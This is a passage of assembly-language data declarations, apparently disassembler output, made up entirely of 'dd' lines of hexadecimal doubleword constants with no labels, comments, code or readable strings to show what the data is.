0C221ADC4h, 405D58h, 0B9074B92h, 0CB3F0Bh dd 6706547Dh, 0A1A28CDCh, 769A5F00h, 448BCE85h, 494200D0h dd 0EFE4C145h, 541C034Ch, 0B58A8140h, 47008537h, 58260286h dd 62400B2h, 0D08EF99h, 0E800E404h, 5FBEFC94h, 0CF7BFD34h dd 62E0E231h, 4356EE1Dh, 0A9A40F01h, 3FBE1136h, 39E01031h dd 0C4440017h, 0B08B82B6h, 0E2047388h, 0BB6FFFE5h, 247E6CC0h dd 0C680054h, 86F95120h, 98A836AEh, 0D012F362h, 0FCC3CC35h dd 0B043BD3Bh, 984A5574h, 0B7B87Bh, 645482A6h, 0EBA7ACC4h dd 660EDF00h, 0FA071E2Ch, 49E907CDh, 0B089697Ah, 1C0F8722h dd 5BCAFE00h, 1F40AC8Dh, 0DE1A2E67h, 0E5123FFCh, 2C2888F6h dd 38063E00h, 0CC2971Fh, 0F3CCA8E3h, 83BCA8ECh, 0F9BC099Ch dd 0EE8F14F7h, 0B47FFDE4h, 8024F44h, 6AF60CFBh, 2AC7804Ah dd 12DA04Ch, 0C4050F9Fh, 0E0A9ECEBh, 0EF01FE65h, 0CA3B6472h dd 9BFC7980h, 0B50D3D6Eh, 700394Ch, 4024011Dh, 0A400E93Eh dd 85238310h, 1E38A51Ch, 802D64A2h, 0ED03CDBh, 0A10055EAh dd 0B57C06E8h, 629E03h, 0D330B98Bh, 452ADAA6h, 1AA77300h dd 799FBA77h, 11713Bh, 0B160C15Eh, 2C0C0293h, 6CB96514h dd 6E8B03C6h, 0F17CD25Ah, 0ED52991h, 4D94C0h, 88F3C52Dh dd 74D4DF7Ah, 8C57CC00h, 0A798513Fh, 5FF00022h, 0A21B4FBDh dd 0BB7BBAE1h, 508CC100h, 72911813h, 7675B4h, 38CE6ADBh dd 58EF8A07h, 0F9E89700h, 0FCA1D7CBh, 2C374844h, 645C3B0Fh dd 0B5E09DCEh, 82B756A8h, 8F03AB90h, 0ACBC2D73h, 24DCF1CDh dd 465E03F3h, 0F90DEDD9h, 0FB50D4F8h, 132A23Bh, 0FCF63F9Ah dd 0E8242A97h, 484C257Ah, 0F25F3800h, 8C48325Eh, 780412D0h dd 5C17F8C0h, 0DA0526AFh, 481284ACh, 1FB480BDh, 580542B8h dd 0F8296EABh, 68C4FC07h, 0EB2E0A0h, 761B006Bh, 520DF579h dd 0D14C9D67h, 1C4C0008h, 4717F106h, 0FA1907Fh, 25C24A61h dd 54408076h, 0F0009799h, 32F5DF0Fh, 4EC859F6h, 1721A868h dd 780060A6h, 4FDFF9CBh, 874041Ah, 0C0D5C195h, 9A88ECF8h dd 0E61E59F8h, 600B9C7h, 0DC0C2754h, 0A88500B2h, 1F4BAAB4h dd 332CAB2Fh, 4A00F822h, 7515BFECh, 8EE670h, 823DCE62h dd 6A660977h, 3E079EE6h, 23F78195h, 0A52AD4E0h, 9DE30F68h dd 4A80EF34h, 60E0E10Ch, 458CE700h, 68D4F5EAh, 0DC914CCAh dd 0F89CAFC0h, 0A0061C0h, 193AB33h, 0C1BF90h, 3DC76E1Ah dd 280DAAD5h, 64733712h, 0C1C4003Bh, 0B1C46324h, 26F8CC79h dd 20D0056h, 0A91B2E2Dh, 0F74C8049h, 0F8D10344h, 128D0EB3h dd 963779h, 6A5A88DCh, 901F202Fh, 5BCF4A9Dh, 9F758057h dd 265031h, 3CE98C36h, 91428064h, 6916C4B0h, 601D8F2Bh dd 5DEF8E80h, 28481098h, 0FAE0BC5Ch, 0C46500E2h, 14CBD037h dd 1703558Dh, 2631614Ah, 481F983Dh, 0DB13015Fh, 0F41D5810h dd 0B9C9E84Ch, 0F204B700h, 0D672157Fh, 0E05F7E9Eh, 50EF0C8Fh dd 0A0C67BCFh, 0F3004BF4h, 0F95EF845h, 211DE8h, 1203C67Eh dd 11C3082Ah, 0CA016EB0h, 9BE0D7ADh, 589C1339h, 80C252DCh dd 41B520Ch, 42DD1700h, 0ECD447C7h, 0AEB30138h, 0AF73CBDAh dd 0D95C21B2h, 0D550D47Fh, 9A111400h, 6D2B2C08h, 733C3FD1h dd 180EF103h, 93F98250h, 6647CCEDh, 67ECB800h, 3E9D8526h dd 5C520055h, 0BB2C646Ch, 10983D45h, 3AF081F9h, 0C947CD7Bh dd 0C551E0DBh, 0A8D14863h, 80189937h, 6B35EC58h, 0BC200763h dd 4401A0BBh, 265D792Bh, 8038FAFCh, 0C97D5561h, 61DF21BAh dd 843FEAC3h, 231C6DEh, 921C426Bh, 84A13A1Bh, 8136FCB8h dd 59C2CB31h, 0F7608EB2h, 0FB64156Fh, 0B73010BAh, 46A57B38h dd 35E4C900h, 5FD34FFFh, 0C25B02C3h, 79541B8Bh, 0BB405140h dd 873B513Fh, 0FC0FD69Bh, 0A0CBE953h, 4B8C474h, 80665D25h dd 0F65E8027h, 56B09F94h, 0C6EAA500h, 9671AE6h, 59F40013h dd 0F5B8578Ch, 0DD01E15Ch, 0DC38867Ch, 0BFD4DE90h, 11EB0009h dd 63C150C2h, 9CF65A59h, 79C53EC0h, 0B8AE90h, 0DFC2F882h dd 0C0D21A8Dh, 760037EAh, 97539F6Dh, 3136FBh, 8A91A458h dd 0B373AF44h, 95CF6607h, 6070CECDh, 0B498DAh, 0C753F4D1h dd 5C741072h, 0FD00BBEEh, 0A751A979h, 0FD29A1Bh, 782F3DDCh dd 49546920h, 6B028CB5h, 0FC73E4A5h, 11BCA089h, 7B675997h dd 97907EBh, 0A38E07B7h, 0C7AB8652h, 0D7D472F8h, 0D0211F3Fh dd 13009BC0h, 0F416E1BBh, 0FFC295h, 0CF56C80Ah, 50D20E82h dd 11F37101h, 0A1BC49B1h, 0E46E689Dh, 0A9974010h, 5417D307h dd 0B500152Eh, 0BDA82264h, 747E3B6Eh, 8BAD2780h, 7626E6C8h dd 0F2009E74h, 700B6FCEh, 0FABC9Ah, 0C02F5A8Ch, 8AB150F1h dd 987ED03h, 0B3437857h, 0AB500EA1h, 0B1402D59h, 0E10282FFh dd 30DB0A00h, 3C1BEC64h, 0B43524C2h, 465C002Ch, 0E0BD2662h dd 72AD5201h, 0B17D85DDh, 0B926074h, 2FF92724h, 23423020h dd 0F70B56C4h, 8054B622h, 570AD2ADh, 1FAB00F2h, 0F9129E18h dd 3501CF43h, 99A198D3h, 8CDCA441h, 0B45803A7h, 0CA6FB7AFh dd 3902CEC8h, 7700ACECh, 0BDF49C51h, 0B0B61A07h, 63048D3Dh dd 4829964Eh, 0CEC3044Fh, 6C3BE109h, 0A6EAAE00h, 1AA3F22h dd 0A55EC452h, 0D0511A12h, 39CC957Ah, 61BB08A0h, 0A2BE38D6h dd 182056F5h, 0C3E8DD00h, 7B905C97h, 99A4669Bh, 50CA09A6h dd 0DC0A18A9h, 34204C09h, 0C0C79D0h, 3907C374h, 10C1D892h dd 0FC2934D1h, 10A25019h, 0FA6053F9h, 4102968h, 0C1C009C7h dd 66255EA0h, 0C9C68964h, 0F809EC65h, 157A2030h, 1670CE4Eh dd 148A0C94h, 0D0193E14h, 8ACF997Bh, 24FD3D20h, 501C114Dh dd 4D60E25h, 1FFF766Ch, 0C7ADC5FBh, 60EC32A8h, 0DB989200h dd 0D094F8C9h, 0BB9FC08h, 627FEB04h, 0B10D112Ah, 0FBCCB490h dd 0B9F9900Eh, 7154C7E7h, 4927016Eh, 80109579h, 18047D76h dd 944BB935h, 56203847h, 0DE6338BFh, 4848B151h, 0D8187171h dd 22254826h, 69C5B400h, 1CD09F3Dh, 0A7BD0C3Fh, 17600A08h dd 0DAA25D06h, 0B010F6A3h, 2A3E000Eh, 7B0818B6h, 69C19770h dd 673DB45Fh, 57EF4883h, 2CA8CD8Bh, 271F6C66h, 28DC09A3h dd 8E03F700h, 4898BB9h, 0ECD160FBh, 0A8E09693h, 94E51E0Ch dd 3C4F0897h, 62065BB3h, 0C150B19Ch, 0F6E148C6h, 9940008h dd 1D9EB9DFh, 2B5CB76Eh, 2AEA6341h, 1C90F83Ch, 6F78ECh dd 9607A21Dh, 0E65302A6h, 0E9A0EB0Dh, 55F0D97Ah, 0CEAD2AAFh dd 42580CB0h, 9EE82EC3h, 0DB01B100h, 9AB37DECh, 0B789C03Ch dd 4DAE240Dh, 12B69407h, 0A7E0082Dh, 1E714C20h, 11AB94Bh dd 80D6B722h, 2078EF49h, 12878301h, 0F6CE0C27h, 0BBC0D7D3h dd 371CA0h, 50389D2h, 6AC4871h, 769930C1h, 8802511h, 0DF662E8Ch dd 0B7FC2330h, 320B61Fh, 0EF0052DEh, 55DE56AFh, 212E6098h dd 4C02DDEEh, 804FD9EBh, 360664A1h, 0E81F1BCCh, 7BB33EFh dd 89D81068h, 403A50Ah, 0DEDFE13Eh, 4F502064h, 424C0300h dd 52802CAh, 100C60CCh, 0A35839DCh, 0D191CB03h, 0CFDA4F8h dd 1BD5EFB8h, 0E1070C58h, 40DD3825h, 730324A3h, 65690070h dd 508F527Ch dd 0FD1C70DFh, 0D8801BB6h, 2010554h, 0D0071F36h, 0A9FBABCh dd 85FBCFD2h, 0D9202600h, 84704A9Bh, 0B810E47Fh, 0D0AE997h dd 1A45FE2h, 19715193h, 0ADDC821h, 84036690h, 4CDC77B8h dd 0BC4AC00Ch, 34E70E85h, 1BC0CB42h, 8DFEDE37h, 67081202h dd 83EC9D53h, 32BB8A0h, 0D2DF4FB9h, 1028276Fh, 29209063h dd 0C87142Dh, 0B7189422h, 9CA2317Ah, 0D13B1905h, 88115E6Eh dd 0BC8A17D8h, 0EE0AB61Dh, 40508C8Eh, 70E98164h, 8CA18373h dd 0E2A850EEh, 81DFAB6Ah, 5212A09Dh, 123D180Fh, 55D33071h dd 158829A2h, 4CFE4304h, 552A0620h, 0DB676046h, 74844F1h dd 108608D1h, 0FE49AA53h, 9BF4D300h, 1B8277D8h, 6740CC12h dd 0BE38DFD9h, 6291038Ah, 3018A0ECh, 0FD291A91h, 0A680232Ch dd 4941308Ah, 0B6378739h, 3B788890h, 8A6758A8h, 4B1F9E74h dd 482A68B8h, 0D20C620Ah, 4928F05Ch, 0E690E23Dh, 0EC80D758h dd 0B020D827h, 6331E019h, 0CFDB60F5h, 36C0B821h, 4F18028Eh dd 0C4CDDFD9h, 2E9D94A0h, 0A92A4ABCh, 0DC028045h, 497E5A9Bh dd 30B09840h, 0D2828124h, 181A880Ch, 0A9B61E6Dh, 4300D9B0h dd 0DD4F88B5h, 774E6A6h, 980A3735h, 5B76A1D0h, 6E38206Ah dd 9FC0F554h, 5F107565h, 77DA8C21h, 4C2E8420h, 65802031h dd 0D9C88C8Dh, 98126A2Ah, 0FD88FE07h, 1A80384Dh, 890516h dd 2E5A194Fh, 4B8C126Fh, 0CC7748h, 853892FBh, 3B96A4FFh dd 0ED782A9Fh, 62E503E0h, 20ABC6AEh, 2DA500E0h, 0FCC2F200h dd 68DA5C87h, 1FF1009Ch, 78A90CB4h, 92018E62h, 8B61F65Fh dd 51D024B0h, 0BFAD0087h, 6A255533h, 60030E6h, 0FEA9FBE4h dd 1215C47h, 40ACBE2h, 8D32672Bh, 20E63B08h, 1A21DE80h dd 7B59BAC4h, 893A6400h, 68ADEAA6h, 86321E79h, 0B5BEC05Eh dd 7B01C62h, 0E7FE2701h, 4DBA80Dh, 1B0069BCh, 0B1886E95h dd 0E80EC67Dh, 86BFAF66h, 20A822h, 0DD6B3D34h, 0FCAD929Fh dd 9438FA62h, 5AA18374h, 0FB491FF7h, 1E77013Bh, 0E0E80361h dd 0A577DC49h, 48E68706h, 0EC09E4F5h, 0E920C004h, 9EEDA5EEh dd 80B20900h, 39BDADF7h, 6B8400E4h, 0FA49A4DBh, 333F8840h dd 2F76812Dh, 190CA1E8h, 0A53FC1D7h, 8534B8DBh, 70FF00FCh dd 5E1F17E5h, 8A00BCB0h, 0D67B5894h, 19F52Fh, 0F9A256E1h dd 0DC368343h, 3F15FC00h, 3576DF97h, 3A3C0059h, 5E0AEDFFh dd 0BB0026AFh, 0F8A16193h, 0F2E29D9h, 305A7428h, 0B65721C0h dd 5974F2FAh, 0DE817700h, 0D6E531F9h, 601E07CAh, 808575EAh dd 0AE158FEh, 0D51AA901h, 0BB23215Dh, 930923EBh, 0C8BDE05Dh dd 0D687280Fh, 0B410EA01h, 5E8F2782h, 0C9571880h, 0BB5392F8h dd 0C11A6400h, 2FDF5528h, 26610004h, 0DE4A7233h, 0F66418C0h dd 0F520E029h, 0F78003E1h, 0CC4F8873h, 0BB4E8104h, 0BA4229ECh dd 8B050108h, 6F802803h, 282811EBh, 0D669081Bh, 82AF1007h dd 5E60D90h, 0B0280FF4h, 943A1D9h, 299011F1h, 0D2599CF0h dd 7708C751h, 107E9520h, 3BCC14FCh, 9B8170C8h, 88ED8B08h dd 1C3829h, 714D0DCDh, 0FC0035C1h, 4B9C4A08h, 1F6F917h dd 588A37BBh, 0E88869E7h, 8C0EBE26h, 600A4522h, 556A3840h dd 0A24C00E0h, 0C12B3088h, 7E00A0C0h, 3DFF5671h, 0E450F73h dd 9979B4B8h, 23630D40h, 0AF0003FDh, 0F6D9979Eh, 0E6BF7D7h dd 0E3150AE4h, 78BF1CE1h, 3CB6C04Ah, 431E4000h, 29EE5666h dd 175400F3h, 0D30E2576h, 0F8A02318h, 7F007365h, 7A090896h dd 0FBB3CE5h, 0FC5619C5h, 5ACC2960h, 3A034EDDh, 1AFB3F71h dd 0A033E043h, 7C01000Eh, 4F7690CBh, 3EFA3174h, 0D8FC5B00h dd 0A21B22D6h, 2D59892h, 0B10BD799h, 0A180FF8Dh, 0B9D5AFBDh dd 0E385DB0Eh, 63972094h, 12FF506Fh, 0A8B7F9Ch, 80AA50h dd 8A1BEF5Eh, 0B00514Ah, 0D018F85Bh, 0CCFC98h, 8563D6FAh dd 143169A5h, 7AD8E101h, 581D4E08h, 0D0172180h, 28801B51h dd 0A49839h, 5DF30D47h, 59C866h, 87EB03D7h, 0FCE00A6Ah dd 3486451Ch, 3D58F740h, 2C7D04h, 0BC7B6792h, 6EF3F64Bh dd 207C073h, 0A029BDF2h, 8F42E8B0h, 92CF0081h, 88AA34CEh dd 190023ACh, 6394D47Bh, 1CA62129h, 403562F8h, 172DB379h dd 0BC0910ABh, 77A99B05h, 0FCC4681h, 0B125F4EFh, 47EA4207h dd 0E8C0E2AFh, 3F2B8574h, 96001421h, 9C1F2AA4h, 0C004EA5Fh dd 0DA5B80E2h, 0F9934980h, 6D6C005Ch, 0F57C1F13h, 1C0E32ADh dd 80D0B201h, 0E06BC40Fh, 7AA478DEh, 0F0BE5F2Dh, 0D91C7309h dd 4A808579h, 28A24615h, 63DD008Dh, 6AC35CECh, 8800DB75h dd 4D87BC57h, 32A2DAh, 0CB5667FDh, 1EE09017h, 794C8C00h dd 5B237C3Ch, 0C3373987h, 32D713h, 0A2D25E38h, 86014B83h dd 0E9775159h, 0B6801AD4h, 6CEC6D23h, 0BE0F767Eh, 604D1F1Bh dd 4AA2CF5Bh, 0ADB21EDCh, 67F806Dh, 3703C80Ah, 1945400h dd 0F6F34F57h, 120B00BAh, 3B6C8A5Bh, 0FEF68D56h, 76B6E800h dd 0FBAA835Fh, 0D32900DDh, 778F0F84h, 52004C32h, 0E4CC2E33h dd 0EC28159Eh, 793E0044h, 39D384F1h, 400060A8h, 786C5466h dd 0E9BEFBh, 7D3868F9h, 2D8C27BFh, 0E0676B34h, 0CD52B300h dd 7E1D4Fh, 957BF134h, 170BF4FDh, 469EF600h, 428A31C2h dd 78FC00D7h, 5B60CECh, 0ECA81628h, 931DE3C2h, 300007E0h dd 0D7CD734Fh, 0BEB000E7h, 14391D02h, 77009883h, 816C03C9h dd 0F68870h, 0ED32D307h, 0C3443AB0h, 8AA8F100h, 0C7718FC6h dd 0F4F30FBEh, 5E4E51F7h, 0FACBEE61h, 1CC2C0ADh, 66F3400h dd 455A3D17h, 912802D8h, 6E4AA1AAh, 30AB0843h, 3CF80EEBh dd 0E70F0DB7h, 0DC2FB3E0h, 0EE4128C0h, 9B98A0h, 0EC3317E6h dd 42446B2Eh, 6245EB00h, 0B5D55637h, 4C983805h, 0B8F67880h dd 55B0BBA4h, 8FFCAF03h, 0E0208C0Eh, 96DFD3h, 372F712Ah dd 0C38A629Dh, 8097BF39h, 0F12990B6h, 53CFB2h, 3FA063EAh dd 0E9DDA22Eh, 228F7200h, 3EAF0E8Dh, 0BA1C00F7h, 533DF5C4h dd 6400E17Bh, 28377C46h, 195EF61h, 0ED4C7E15h, 207B76ABh dd 0DD004BB8h, 0A067205Fh, 0ECC269Eh, 0C6E29FACh, 6081BB27h dd 1E6E8C13h, 0BE9E9700h, 552AB7F1h, 793001Dh, 0C90B567Fh dd 5C98101Fh, 1ED04950h, 8DF73600h, 0FBEC0D3h, 0EA7B3EBDh dd 191F2802h, 89895950h, 0C72AB400h, 0D60EE1F0h, 0E0884AE6h dd 0C0BE9165h, 7F5B55h, 49C3B91Dh, 50BCC48h, 1CAB0h, 0B4B597DBh dd 0CE607C4h, 0D011B7FDh, 57A465Dh, 0A004FECh, 435F4948h dd 3BBB2792h, 0DCC89771h, 0C83BB14Eh, 0CF00F45Eh, 4638A1D8h dd 1EA5F98Bh, 59E50141h, 0DCE9619Ah, 0F1738439h, 0FE0E6407h dd 8191C689h, 8A6007E8h, 0AD5E004Dh, 8AE3D955h, 5300F587h dd 46F11992h, 0EE7508F0h, 1B020269h, 9E254534h, 91C7F460h dd 7BC04600h, 9DD181E2h, 2B29006Bh, 974E22BDh, 0EE0010DDh dd 0E183F6BEh, 1E7A395Bh, 8455C633h, 80711752h, 5690A4B4h dd 25FD3101h, 0B20A1AE8h, 9935A0D0h, 5F930078h, 4EB629D6h dd 2C80E100h, 9C06EB6Dh, 0F1210BD7h, 0DC00F8B8h, 0CB09371h dd 0EE73B20Eh, 8CC03F2Bh, 4715802Eh, 0BDD400AEh, 56E65EDDh dd 4201CA7Bh, 855177E0h, 0CCDC0D1Ah, 5FD4005Ch, 0F06E9E1h dd 3D02AE7Eh, 34E3F9FCh, 0A0888EB8h, 7CDDCFA5h, 0AF3800E1h dd 81E4060Bh, 0EC03B454h, 0DB874786h, 0D94DE865h, 0FBC30019h dd 6CC20EE0h, 452C9D18h, 3800F4ECh, 0BB251BC6h, 0F0A40083h dd 4B908033h dd 24003DA0h, 79716AE1h, 703E01h, 43F47721h, 52C83F95h dd 0D3574F00h, 0CC3AA62Eh, 0E89D00AAh, 0FF2D0359h, 0B300DE8Fh dd 647D9B41h, 3D4D30CEh, 0D6804FB9h, 0B865BAB2h, 0CC009F63h dd 0D97126D2h, 192B33Dh, 2B3E8D6Ah, 0CD8CDA7Eh, 0FB25D499h dd 3359D600h, 0C1DB6342h, 0E67F4CF5h, 9B6F3B7Ch, 0CB996080h dd 4C1EA220h, 0F25D7A05h, 0E08085AAh, 7D43A9h, 0D4A5C5C7h dd 21C1CC32h, 0D2E53900h, 0D86AD7BCh, 7AD03DEDh, 0EF8CCE80h dd 0A02A1E5Fh, 0F2A6DA00h, 0DC038638h, 8ECD006Fh, 27C6773Eh dd 0D007256h, 0ABADEA85h, 0F9DDF0h, 8FCB15C2h, 0AA713640h dd 954F5Ch, 0C6C39BF6h, 0F84438h, 86BFCDE6h, 499C16AFh dd 5792E500h, 7FDF3A69h, 91DA00CBh, 0CEDBF8AEh, 0C23D162Eh dd 8D8650F3h, 2C04B000h, 0EB81A342h, 6ABB0EEEh, 0BF60AD92h dd 748B6359h, 7500B9F8h, 0F94B7DCh, 0E0A4A1Ch, 3AEA4302h dd 0BBE059A0h, 0E73EBFC2h, 621E008Ch, 0E9DA4B76h, 730800D3h dd 392F3E37h, 5900225Ah, 386D9575h, 1D83AE30h, 0C35FF57Fh dd 0D53A5526h, 50F88EC3h, 0F600B527h, 0D39DA2F4h, 0A73635h dd 28D79141h, 22A8C43Fh, 4595D200h, 6AFC9659h, 0EF4D0050h dd 0FBE0A511h, 0B63D9C99h, 0C4B00026h, 623A72C7h, 850E1C69h dd 0BA95C0F1h, 497F1B91h, 0ACFB6100h, 6930518h, 0E970F10h dd 0C380AB89h, 0A3AD79A7h, 0F66A2F09h, 42080038h, 19EC70h dd 0B844DAE2h, 0F11BBA9h, 6E041A07h, 0EBB097DEh, 122CA141h dd 0E472D8h, 0AB458D4Bh, 0FA00B9C7h, 116043DEh, 7201399h dd 0C701B09h, 9A5E10EDh, 33D176Ch, 0F0DA3095h, 7860FEACh dd 8CA900E2h, 54384084h, 0DA005A7Fh, 3185BD67h, 9BA1BDBh dd 529B16A3h, 0CA3C0883h, 4BE0F4FAh, 5E587C2Ch, 0C2120039h dd 0C5D632B8h, 6E180716h, 20461B4Ch, 8A2D4E75h, 7104FA03h dd 0F8A5F6E4h, 9DC325h, 30C5CD7Ah, 0F377EF15h, 0C900D7F4h dd 0B3E8D18Fh, 0F4C4A14h, 0A3F1DFFDh, 0D067CE47h, 9D399D7h dd 53C8FF00h, 68797B93h, 2A5D3882h, 0F9443014h, 0EF2E0600h dd 0F120C205h, 4194FC01h, 192A84C7h, 0E670BECh, 2CEEFD7Fh dd 0A6989AC0h, 8CA992BAh, 8E48001Bh, 0B22F0503h, 85A30Ah dd 0EF4C30BAh, 533A35C9h, 0CDA4803Ch, 8B99A949h, 0EA27075Fh dd 200F20DFh, 6778CA0Eh, 0D83B500Eh, 7BFCA0C5h, 650652h dd 2C56921Fh, 0F82AC7D6h, 0B9B77F00h, 2EBBD11Ah, 67CD07BCh dd 3076C663h, 0D0463C90h, 0A4340D1Eh, 135EC380h, 3BCE260Eh dd 0ED006ADCh, 82221C03h, 12006C85h, 4050DE08h, 7332CC9h dd 45F02884h, 40E6B66h, 9E819FA0h, 2224E62Ah, 0CE014E2Dh dd 647CE5CCh, 7AC63AD8h, 6B12C0F6h, 1FDF5822h, 7D79EE00h dd 1D19A008h, 3F4000F8h, 0BF53C2B4h, 0FC00BAC9h, 3BC5AD46h dd 0E1E9322h, 0BE75C09Ch, 73549123h, 430BF698h, 0A9ECB700h dd 20C8B30Dh, 0F9520003h, 120972AEh, 0A2003C65h, 0CF7A2DE7h dd 56B8B2Ah, 66FCB024h, 0D3FBC0F7h, 7B90D1AFh, 0BF473400h dd 0B54C01E1h, 0F8A60062h, 0F2B5A3Ch, 0FFE0A9ABh, 0C30722F4h dd 0E9289C86h, 413E8B77h, 0D9472415h, 0F2AF440h, 73C301FAh dd 0AA31BEB5h, 5390606Bh, 0DDC94600h, 57DA14A9h, 7E8C980Ch dd 5A6500B9h, 735C2494h, 0D6003D4Fh, 70E0FFFAh, 5E3016h dd 0EC82EAFh, 5808AEA7h, 74787878h, 4EFF0713h, 216E9300h dd 9B5598h, 7E96DA89h, 0B4A8CA95h, 40166724h, 0A644BC00h dd 0F0795EDBh, 7BD602F7h, 0BE424813h, 0B5FA2440h, 0A8F5358h dd 0E42885F4h, 0C1DF1182h, 266820E0h, 0E300FEC9h, 13D1E19Ah dd 0F08BFADh, 9954D71Fh, 5075BC40h, 9A013DB2h, 0DAB03904h dd 97F4055Dh, 0D3663A59h, 61C0DB80h, 70FAB2D9h, 0F0CE1704h dd 37F003C6h, 64920041h, 945E5AACh, 0AF008723h, 0AAFA936Bh dd 7268108Eh, 0BF19831h, 0CFF27EB0h, 85E4EE83h, 7DEB2809h dd 0CA030467h, 0E7A69F80h, 42E5050Fh, 13871660h, 21F107D0h dd 70F14091h, 9070D1Ch, 0E3FA29D5h, 0F81B7BC1h, 7B63FF0h dd 9944F147h, 8E005F0Fh, 2220AD1Ah, 0EFF8A11Ch, 66983980h dd 0C80027Ch, 0CA40B114h, 61003E38h, 0E157F46Ah, 7770ECh dd 391D2C12h, 42D4D7Ch, 0EFCE3F00h, 0A6E230C3h, 6CC0050h dd 25ED4947h, 77005CD3h, 0DD79A837h, 514A40h, 0BA568D80h dd 9E0820ABh, 0F91224B2h, 0BE018871h, 0EEE73313h, 0C7C6E8h dd 77C96E25h, 0F4B483ADh, 31307000h, 0F7E78BA4h, 91BD009Dh dd 1D537B19h, 6200D1EAh, 25120D3Eh, 727CC7FAh, 0A9CD00B3h dd 1BB6336Bh, 0CC629DF2h, 0C0DFC910h, 0C0CA750Bh, 6D496FC0h dd 6907E3E6h, 5D483889h, 0E21DE85Ah, 1C7F6280h, 111521h dd 758A055Ch, 0D761263Ch, 80C08F00h, 0E07C2579h, 1F997C9Dh dd 892B81CAh, 0A8803D76h, 91F5E209h, 0BA3258h, 35A7D89Dh dd 0C93C3F0h, 76BCAAE9h, 0DD027228h, 0D79ED2D1h, 53B84130h dd 65C7D8DBh, 644B004Dh, 0B7C0DC10h, 422CA138h, 0D0346A6Ah dd 89CB41C0h, 453B0FC7h, 0B740362Eh, 0A1758015h, 5C02D577h dd 16311D8h, 0BDC660DEh, 148C00A4h, 35C81D43h, 30F7F422h dd 7E1DEC78h, 80805A8Fh, 4589EB2h, 402A0207h, 17DAEE18h dd 11842C40h, 0A8DFDE3Ch, 0AB74B837h, 2C4CDB48h, 41509C35h dd 0DA223F5Eh, 0CF2C1C01h, 0D8635267h, 0F907ED99h, 2E9FDBDEh dd 836E27E0h, 23EF0E12h, 4B606174h, 0E019722Fh, 39BF5712h dd 0D6C77C40h, 7BB01D8Ch, 15A60FA4h, 0E78024B7h, 638E2576h dd 1E263CFAh, 811E6CA9h, 13447843h, 0D5F4E98Dh, 3017F8DCh dd 1F40A9A3h, 0E3263688h, 57079A6Bh, 687C15FBh, 0B4C300F7h dd 0A6AED862h, 0DBF060A1h, 6CE24800h, 0FADD7749h, 2A54260Fh dd 0D7FC007Ah, 7DAC893Fh, 0EFFAE4FAh, 5E356304h, 0A0C8D28Dh dd 74910049h, 0FD3B421Eh, 2207D703h, 0A89F70F9h, 9A739940h dd 9BE5026Bh, 74C94D3Fh, 32E8E7E3h, 304851F0h, 62FC0F40h dd 1753A3CEh, 0DD77CFDBh, 0DA21B810h, 0FB2A007Fh, 96B3BF4Bh dd 200C6C4h, 15D8E11Ah, 0CFEA7Ah, 12916194h, 96417420h dd 0DE139877h, 0B0002977h, 4A16540Ch, 1A89930h, 0D1F946CEh dd 0F697D883h, 7D03DA01h, 39BEB951h, 0EDC5DE0h, 10F5AE95h dd 3C7CC40h, 56031955h, 0A5720B6Ah, 38BFF804h, 9B457B0Ch dd 0F45F00B0h, 43885B92h, 0CE4D360Fh, 23E4C709h, 0F80EFB23h dd 499E47h, 2E1AEF55h, 0BFC73210h, 0A0C34224h, 0E4577203h dd 76F98DFh, 90545067h, 1726386Ah, 0EA14F107h, 8F2720B1h dd 0F0FC86A3h, 680DF800h, 0FD63F46Ch, 3B400E8h, 73F352F6h dd 910EEBC0h, 8DAD1Dh, 515722C2h, 7FB878h, 7F704DC3h, 6C73D444h dd 27E00F00h, 43F403B5h, 0D19059Ah, 0C0FE74FDh, 0E18FF8D4h dd 8323990Eh, 699CA24Bh, 0AD8980D8h, 58DED06Bh, 4E00DC7Ah dd 40ED319Ah, 5A6298C0h, 0E06720C0h, 0EB8731h, 0C31E0C2h dd 22EC26C7h, 0B0C42300h, 4B6495BBh, 28242862h, 67D803DCh dd 2093EF41h, 54A7BB0h, 1F148B03h, 0B0371763h, 0DACD4Fh dd 0AC72B88Ch, 79A77A2Ah, 9B104300h, 0BFB3E3D9h, 578C01A2h dd 0A5E5BE76h, 5C8C602Dh, 55F1D017h, 6E1C5400h, 484910E6h dd 51E6832h, 256143ECh, 31D8FB15h, 8B73D4B8h, 760023B0h dd 3881060Eh, 3F7D1B56h, 6228AA66h, 4CF300FCh, 21526BCEh dd 3400C7C9h, 872F868Eh, 1E2B3B5h, 5E91D39h, 60D5CA65h dd 76EC0490h dd 0C97AA90Ah, 0C7019458h, 78EDE0CEh, 0C0E05BC9h, 0DE52010Ah dd 0F393BD68h, 0E03421C7h, 0A11E484Bh, 0BFC08C8Bh, 0CF85A9E3h dd 2C3F00E7h, 83BE3564h, 9800D4FFh, 0E6158D4Bh, 14768A78h dd 0D8C2ADA1h, 96267900h, 739DE963h, 3D7CFA16h, 0CC58E10Ah dd 15E12700h, 2B438B2h, 0DF73E595h, 54002D5Fh, 1382EF9Fh dd 127F77h, 71CEB768h, 5D0EC179h, 183FEF8h, 378D9A2h, 0EBADDF0h dd 58574EA6h, 0F3152E40h, 0E1010A02h, 0FA43B393h, 0A820063Bh dd 0BD5413A0h, 32782024h, 8B00A9F8h, 2AF02277h, 3150D6h dd 745C2CFCh, 16797D06h, 2D138C07h, 661029F5h, 19A080Fh dd 0D321048Bh, 40CF9502h, 1834C6FEh, 0AB077DF2h, 0BAF5D874h dd 0A8C02524h, 1DBC7CEAh, 5C310BD5h, 36EC583h, 24A480E2h dd 9400AB36h, 9D4BA2C8h, 0EC09E9h, 8C358AE8h, 28B5A9DCh dd 4254FD01h, 7C06DE15h, 0C52740FEh, 0CC1C038Fh, 0EFAC2710h dd 2D2BAF0h, 2EBB9B01h, 7A50CD6Eh, 240E0472h, 78CA939Fh dd 0FA2CFCh, 0CA47F619h, 4B004988h, 0A3EE4F0h, 51F2AC85h dd 46E5ACC9h, 79B7FECh, 57845EE9h, 0D2CA50EFh, 0C04CBAE6h dd 0FD73B28h, 8E36936Ch, 0B978037h, 19EA4292h, 5E5C9430h dd 3080617Eh, 0F900C758h, 90AD74CDh, 729E796h, 30DCD10Ch dd 0E945E012h, 7200E001h, 0F127C0D9h, 123A5CFDh, 14AA5BFh dd 7D2CED60h, 2B04306Bh, 0F1D8F01h, 50E5AFCFh, 73602C20h dd 7E7F172Fh, 16101344h, 1600AAA5h, 0D1ECE4C4h, 0C2560149h dd 74066E21h, 87B1C45Eh, 9F2C8300h, 0B07DFBFDh, 0B8598C8h dd 48EF33C7h, 80A778A5h, 0CB300D94h, 0DB7B3Fh, 582723F6h dd 0F2B08582h, 80089439h, 0D2785F2Bh, 